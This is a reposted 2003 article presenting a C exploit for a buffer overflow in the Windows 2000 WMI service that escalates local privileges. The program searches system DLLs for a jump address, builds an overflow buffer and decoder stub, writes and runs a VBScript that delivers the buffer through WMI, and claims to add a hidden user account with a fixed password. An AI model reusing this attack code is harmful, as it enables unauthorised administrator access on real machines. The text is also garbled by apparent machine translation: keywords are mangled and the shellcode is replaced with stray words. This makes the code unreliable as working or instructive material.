Windows 2000 WMI Service Buffer Overflow expolit
Created:
Article attributes: original
Article submission: eyas (ey4s_at_21cn.com)
Windows 2000 WMI Service Buffer Overflow expolit
Ey4s <cooleyas@21cn.com>
2003-04-27
Wmiservice-> createdirectoryexw-> RtlDosPathNameToNtPathName_U
By default, WMI can be remotely connected only by administrators. Therefore, it can be used only by users who can run programs on the target system.
Local users can be used to improve permissions.
This program can be used for simplified Chinese, traditional Chinese, Japanese, Korean system sp0-3.
You do not need to specify any parameters. The program will automatically search for available call EBX addresses.
It is too complicated to use C code to communicate with WMI Service. Therefore, the program generates two files, one of which is to store exploit buffer.
Buff.txt, one is xwmi. vbs.
/*----------------------------------------------------------------------------------*/
# Include <windows. h>
# Include <stdio. h>
# Define nopcode 0x4f // 0x4f // 'O'
# Define bufflen( 65536 + 8)/2
# Define overpoint 0x260 // overflow point-0x14 SEH-0x4
Int g_icodepage;
Char g_szdlllist [5] [16] = {"kernel32.dll ",
"Advapi32.dll ",
"User32.dll ",
"Gdi32.dll ",
"Ole32.dll "};
Char * g_szwidecharshort;
Unsigned char jmpover [] = "/x41/x90/x41/x68"; // 0x41 Inc ECx, 0x68 push num32
Unsigned char decoder [] =
"/X4f/x75/x05/x74/x03/x4e/xc3/x4f/x53/x90/x5e/x66/XAD/x4e/X46/x4f"
"/X43/x66/X3D/x97/x6f/x90/x51/x90/x59/x75/xf0/x53/x56/x5f/x4a/x57"
"/X43/x66/XAD/x50/x43/x66/X3D/x4f/x00/x90/x59/x74/xd9/x4e/x2c/x64"
"/X50/x59/X46/x4f/x47/x90/x43/x66/XAD/x50/x4b/x58/x2c/x64/x4a/x57"
"/X51/x90/x90/x5f/x03/xFF/x03/xFF/x03/xFF/x03/x03/xFF/x91/x03/xcf/x91"
"/X90/x5f/xAA/x90/x41/x74/xca/x90/x51/x90/x59/x75/xc4/x4e/x97/x6f ";
Unsigned char xshellcode [] =
"Province"
"Province"
"Province"
"Province"
"Province"
"Province"
"Success ";
Int searchret ();
Bool makewidecharlist ();
DWORD winapi func (lpvoid LP );
Void main ()
{
Int retaddr, I, j, ipathlen, iwlen;
Unsigned char * pstr, widecharbuff [0x500], multibytebuff [0x500];
Unsigned char szvbs [0x1000], szpath [256], szpath2 [256];
File * F;
Printf ("xwmi-> Win2k WMI Service Buffer Overflow Exploit/N"
"Wmiservice-> createdirectoryexw-> RtlDosPathNameToNtPathName_U/N"
"For Win2k which default codePage is GB, big5, Korean, JP sp0-3/N"
"Written by ey4s <cooleyas@21cn.com>/N"
"2003-04-27/N"
"Thanks to yuange/n ");
Makewidecharlist ();
Retaddr = searchret ();
If (! Retaddr) return;
Pstr = (unsigned char *) malloc (40000 );
Memset (pstr, 0, 40000 );
// Get current path
Ipathlen = getcurrentdirectorya (sizeof (szpath)-1, szpath );
If (! Ipathlen)
{
Printf ("getcurrentdirectorya failed: % d/N", getlasterror ());
Return;
}
/* Conversion character */
Memset (widecharbuff, 0, sizeof (widecharbuff ));
// JMP over
Memcpy (widecharbuff, jmpover, 4 );
// JMP ADDR
Memcpy (widecharbuff + 4, & retaddr, 4 );
// Decoder
Memcpy (widecharbuff + 8, decoder, sizeof (decoder ));
Iwlen = wcslen (unsigned short *) widecharbuff );
I = widechartomultibyte (g_icodepage, 0, (unsigned short *) widecharbuff,
Iwlen * 2, multibytebuff, 0x1000,0, 0 );
I = strlen (multibytebuff );
// Combined Buffer
Memset (pstr, nopcode, bufflen + iwlen );
Memcpy (pstr, szpath, ipathlen );
Pstr [ipathlen] = (byte )'//';
// Jmpover & jmpaddr
Memcpy (pstr + overpoint/2, multibytebuff, I );
// Real shellcode
Memcpy (pstr + overpoint/2 + I, xshellcode, strlen (xshellcode ));
F = fopen ("buff.txt", "W ");
Fprintf (F, "% s", pstr );
Fclose (f );
Free (pstr );
Printf ("Write exploit buffer to file % S // buff.txt/N", szpath );
// Replace '/'to '//'
Memset (szpath2, 0, sizeof (szpath2 ));
For (I = 0, j = 0; I <strlen (szpath); I ++, J ++)
{
If (szpath [I] = (byte )'//')
Szpath2 [J ++] = szpath [I];
Szpath2 [J] = szpath [I];
}
Sprintf (szvbs, "set FSO = Createobject (/" scripting. FileSystemObject/")/n"
"Set F2 = FSO. opentextfile (/" buff.txt/", 1, false, tristatetrue)/n"
"Szbuffer = f2.readall/N"
"F2.close/N"
"Set FSO = nothing/N"
"Set serviceset = GetObject (/" winmgmts: {impersonationlevel = impersonate}/"). _/N"
"Execquery (/" select * From win32_directory where name = '% s'/")/n"
"For each service in serviceset/N"
"Wscript. Echo/" if you can see thie line, it maybe success! /"/N"
"Service. Copy (szbuffer)/n"
"Next/N"
, Szpath2 );
F = fopen ("xwmi. vbs", "W ");
Fprintf (F, "% s", szvbs );
Fclose (f );
Printf ("create exploit execute file % S // xwmi. vbs/N", szpath );
Printf ("execute exploit file % S // xwmi. vbs/N"
"If success, exploit will add a user XX password is 1A !. 9nh/N ", szpath );
Createthread (0, 0, func, null, 0, null );
Sleep (20000 );
Deletefile ("buff.txt ");
Deletefile ("xwmi. vbs ");
Printf ("done./N ");
Return;
}
DWORD winapi func (lpvoid LP)
{
System ("cscript.exe xwmi. vbs ");
Return 0;
}
Bool makewidecharlist ()
{
Int icodepage, I, j, RET;
Char szcodepage [128];
Unsigned char wbuff [4];
Unsigned char wbuff2 [4];
Unsigned char buff [4];
If (! Getlocaleinfo (locale_system_default, locale_idefacodecodepage,
Szcodepage, sizeof (szcodepage)-1 ))
{
Printf ("getlocaleinfo failed: % d/N", getlasterror ());
Return false;
}
Icodepage = atoi (szcodepage );
Printf ("system default codePage is % d/N", icodepage );
G_icodepage = icodepage;
G_szwidecharshort = (char *) malloc (65536 );
Memset (g_szwidecharshort, 1, 65536 );
For (I = 0; I <256; I ++)
{
For (j = 0; j <256; j ++) // For 3
{
If (I = 0) & (j = 0) j = 1;
Memset (buff, 0, 4 );
Memset (wbuff2, 0, 4 );
Wbuff [0] = (byte) I;
Wbuff [1] = (byte) J;
Wbuff [2] = (byte) '/0 ';
Wbuff [3] = (byte) '/0 ';
If (! (Ret = widechartomultibyte (icodepage, 0,
(Unsigned short *) wbuff, 1, buff, 2, 0, 0 )))
{
Printf ("widechartomultibyte error: % d/N", getlasterror ());
Return false;
}
If (! (Ret = multibytetowidechar (icodepage, 0, buff,
Strlen (buff), (unsigned short *) wbuff2, 1 )))
{
Printf ("multibytetowidechar error: % d/N ",
Getlasterror (), RET );
Return false;
}
// Determine whether the changes have been made after two conversions
// Any code page change is considered invalid. Wide char range
If (* (DWORD *) wbuff! = * (DWORD *) wbuff2)
G_szwidecharshort [(byte) wbuff [0] ** 0x100 + (byte) wbuff [1] =
(Byte) '/0 ';
}
}
Return true;
}
Int searchret ()
{
Hmodule h;
Bool bdone;
Byte * PTR;
Int I, j, POs, index1, index2, K1, K2, K3, K4;
For (I = 0; I <5; I ++)
{
Bdone = false;
Pos = 0;
H = loadlibrary (g_szdlllist [I]);
If (H = NULL)
{
Printf ("loadlibrary % s error: % d/N ",
G_szdlllist [I], getlasterror ());
Continue;
}
PTR = (byte *) h;
Printf ("Start search ffd3 in % s/n", g_szdlllist [I]);
For (j = 0 ;! Bdone; j ++)
{
_ Try
{
// FF D3 --> call EBX
// Do not include the address of 00
If (PTR [J] = (byte) '/xFF' & PTR [J + 1] = (byte) '/xD3 ')
{
Pos = (INT) PTR + J;
K1 = (Pos & 0x00ff0000)> 8 );
K2 = (Pos & 0xff000000)> 24 );
K3 = (Pos & 0xff) <8 );
K4 = (Pos> 8) & 0xff );
Index1 = k1 + K2;
Index2 = K3 + K4;
If (g_szwidecharshort [index1] = (byte) '/x00') |
(G_szwidecharshort [index2] = (byte) '/x00') |
(K1 = 0) |
(K2 = 0) |
(K3 = 0) |
(K4 = 0 ))
Pos = 0;
}
} // End of try
_ Handler T (exception_execute_handler)
{
Bdone = true;
}
If (POS) break;
}
If (h)
{
Freelibrary (h );
H = NULL;
}
If (POS)
{
Printf ("found opcode at 0x %. 8x in % s/n", POs, g_szdlllist [I]);
Break;
}
}
Return Pos;
}